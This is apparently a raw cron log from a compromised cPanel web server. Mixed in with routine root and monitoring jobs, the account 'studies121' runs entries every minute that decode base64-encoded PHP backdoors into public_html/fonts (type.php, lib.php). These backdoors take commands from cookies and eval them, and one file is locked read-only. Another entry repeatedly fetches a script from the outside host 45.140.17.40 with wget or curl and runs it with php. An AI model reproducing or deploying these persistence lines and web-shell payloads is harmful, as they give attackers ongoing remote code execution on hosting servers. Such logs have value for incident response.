Sep 12 02:29:01 ip-184-168-122-23 CROND[10305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:30:01 ip-184-168-122-23 CROND[10396]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:30:01 ip-184-168-122-23 CROND[10399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:30:01 ip-184-168-122-23 CROND[10402]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:30:01 ip-184-168-122-23 CROND[10404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:30:01 ip-184-168-122-23 CROND[10405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:30:01 ip-184-168-122-23 CROND[10401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:30:01 ip-184-168-122-23 CROND[10409]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:30:01 ip-184-168-122-23 CROND[10408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:31:01 ip-184-168-122-23 CROND[10533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:31:01 ip-184-168-122-23 CROND[10534]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:31:01 ip-184-168-122-23 CROND[10535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:31:01 ip-184-168-122-23 CROND[10537]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 02:31:01 ip-184-168-122-23 CROND[10536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:32:01 ip-184-168-122-23 CROND[10710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:32:01 ip-184-168-122-23 CROND[10713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:32:01 ip-184-168-122-23 CROND[10712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:32:01 ip-184-168-122-23 CROND[10711]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:32:01 ip-184-168-122-23 CROND[10715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:33:01 ip-184-168-122-23 CROND[10820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:33:01 ip-184-168-122-23 CROND[10821]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:33:01 ip-184-168-122-23 CROND[10819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:33:01 ip-184-168-122-23 CROND[10822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:34:01 ip-184-168-122-23 CROND[10923]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:34:01 ip-184-168-122-23 CROND[10926]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:34:01 ip-184-168-122-23 CROND[10925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:34:01 ip-184-168-122-23 CROND[10924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:34:01 ip-184-168-122-23 CROND[10927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:35:01 ip-184-168-122-23 CROND[11033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:35:01 ip-184-168-122-23 CROND[11035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:35:01 ip-184-168-122-23 CROND[11039]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 02:35:01 ip-184-168-122-23 CROND[11037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:35:01 ip-184-168-122-23 CROND[11040]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 02:35:01 ip-184-168-122-23 CROND[11038]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:35:01 ip-184-168-122-23 CROND[11036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:35:01 ip-184-168-122-23 CROND[11041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:36:01 ip-184-168-122-23 CROND[11145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:36:01 ip-184-168-122-23 CROND[11148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:36:01 ip-184-168-122-23 CROND[11147]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:36:01 ip-184-168-122-23 CROND[11150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:36:01 ip-184-168-122-23 CROND[11149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:37:01 ip-184-168-122-23 CROND[11247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:37:01 ip-184-168-122-23 CROND[11248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:37:01 ip-184-168-122-23 CROND[11249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:37:01 ip-184-168-122-23 CROND[11250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:38:01 ip-184-168-122-23 CROND[11432]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:38:01 ip-184-168-122-23 CROND[11435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:38:01 ip-184-168-122-23 CROND[11434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:38:01 ip-184-168-122-23 CROND[11436]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:38:01 ip-184-168-122-23 CROND[11437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:39:01 ip-184-168-122-23 CROND[11549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:39:01 ip-184-168-122-23 CROND[11552]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 02:39:01 ip-184-168-122-23 CROND[11551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:39:01 ip-184-168-122-23 CROND[11553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:39:01 ip-184-168-122-23 CROND[11554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:40:01 ip-184-168-122-23 CROND[11663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 02:40:01 ip-184-168-122-23 CROND[11664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 02:40:01 ip-184-168-122-23 CROND[11667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 02:40:01 ip-184-168-122-23 CROND[11668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 02:40:01 ip-184-168-122-23 CROND[11669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 02:40:01 ip-184-168-122-23 CROND[11672]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 02:40:01 ip-184-168-122-23 CROND[11673]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 02:40:01 ip-184-168-122-23 CROND[11670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:41:01 ip-184-168-122-23 CROND[11778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 02:41:01 ip-184-168-122-23 CROND[11780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
